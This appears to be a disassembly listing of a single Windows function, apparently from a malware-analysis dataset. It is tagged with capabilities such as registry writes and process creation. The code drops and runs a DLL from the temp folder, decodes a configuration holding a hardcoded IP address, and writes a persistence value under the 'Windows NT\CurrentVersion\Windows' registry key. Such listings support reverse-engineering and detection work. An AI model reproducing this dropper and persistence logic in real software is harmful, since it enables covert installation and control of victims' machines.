Function at 0x401eab
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x417038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x210], ax
xor ebx, ebx
lea eax, [ebp - 0x20e]
push ebx
push eax
call fcn.004082d0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push ebx
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x620]
push 0x200
push ebx
push eax
call fcn.004082d0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.HGDraw.dll
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0040488b
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.004022e8
cmp dword [0x418fc8], 1
mov esi, eax
jne 0x401f5e
test esi, esi
je 0x4022d9
call fcn.0040263b
mov edi, eax
push 0x51
pop eax
mov word [ebp - 0x59c], ax
mov eax, 0x2b8e
mov dword [ebp - 0x620], 0x504d534d
mov word [ebp - 0x4fa], ax
mov ecx, ebx
movzx eax, word [ecx + 0x415890]
mov word [ebp + ecx - 0x57a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401f87
mov ecx, ebx
movzx eax, word [ecx + str.218.54.47.77]
mov word [ebp + ecx - 0x61c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401fa0
mov ecx, ebx
movzx eax, word [ecx + str.AAAA]
mov word [ebp + ecx - 0x59a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401fb9
push 5
pop eax
push 0x418fec
mov dword [ebp - 0x458], eax
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.0040482f
add esp, 0xc
test esi, esi
jne 0x401ff7
test edi, edi
je 0x402068
push 0x419120
lea eax, [ebp - 0x59a]
push 0x10
push eax
call fcn.0040482f
add esp, 0xc
lea eax, [ebp - 0x61c]
push 0x4190a0
push 0x40
push eax
call fcn.0040482f
add esp, 0xc
lea eax, [ebp - 0x57a]
push 0x419018
push 0x40
push eax
call fcn.0040482f
mov ax, word [0x419098]
mov word [ebp - 0x59c], ax
mov ax, word [0x419010]
add esp, 0xc
mov word [ebp - 0x4fa], ax
mov eax, dword [0x41900c]
push 5
test eax, eax
pop edi
cmove eax, edi
mov dword [ebp - 0x458], eax
jmp 0x40206b
push 5
pop edi
mov ecx, 0x415890
lea eax, [ebp - 0x57a]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40209c
test dx, dx
je 0x402098
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40209c
add eax, 4
add ecx, 4
test dx, dx
jne 0x402076
mov eax, ebx
jmp 0x4020a1
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020c4
mov dword [ebp - 0x458], edi
mov ecx, ebx
movzx eax, word [ecx + 0x415890]
mov word [ebp + ecx - 0x57a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4020ad
cmp word [ebp - 0x61c], bx
je 0x4022d6
cmp word [ebp - 0x59c], bx
jbe 0x4022d6
mov esi, 0x418fec
mov ecx, esi
mov dword [ebp - 0x620], 0x504d534d
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x4020f2
sub ecx, edx
sar ecx, 1
je 0x402126
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402126
push esi
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.0040482f
add esp, 0xc
cmp word [ebp - 0x498], bx
jne 0x402145
push str.houtue
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.0040482f
add esp, 0xc
cmp word [ebp - 0x478], bx
jne 0x402191
push str.biudfw
lea eax, [ebp - 0x478]
push 0x10
push eax
call fcn.0040482f
mov esi, 0x418fcc
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40216e
sub ecx, edx
sar ecx, 1
je 0x402191
push esi
lea eax, [ebp - 0x478]
push 0x10
push eax
call fcn.0040482f
add esp, 0xc
mov eax, dword [ebp - 0x458]
test eax, eax
cmove eax, edi
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], 0x1000490
mov ecx, 0x80
lea esi, [ebp - 0x620]
lea edi, [ebp - 0x820]
lea eax, [ebp - 0x620]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [eax]
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], 0x504d534d
cmp eax, dword [ecx]
jne 0x4022d6
mov eax, ebx
not byte [ebp + eax - 0x820]
inc eax
cmp eax, 0x200
jb 0x4021e1
lea ecx, [ebp - 0x820]
call fcn.00401dee
test eax, eax
je 0x4022d6
lea edx, [ebp - 0x210]
lea ecx, [ebp - 0x478]
call fcn.00402890
push 0x104
lea eax, [ebp - 0x418]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
push 0x64
xor edx, edx
pop ecx
div ecx
lea ecx, [ebp - 0x418]
push edx
lea edx, [ebp - 0x210]
call fcn.00402f70
pop ecx
lea eax, [ebp - 0x824]
push eax
push 3
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [ebp - 0x824], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4022bf
lea ecx, [ebp - 0x210]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, bx
jne 0x40227d
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push ebx
push 0x415a0c
push dword [ebp - 0x824]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4022bf
push dword [ebp - 0x824]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push ebx
push 0x41584c
lea ecx, [ebp - 0x210]
push ecx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046ea
leave
ret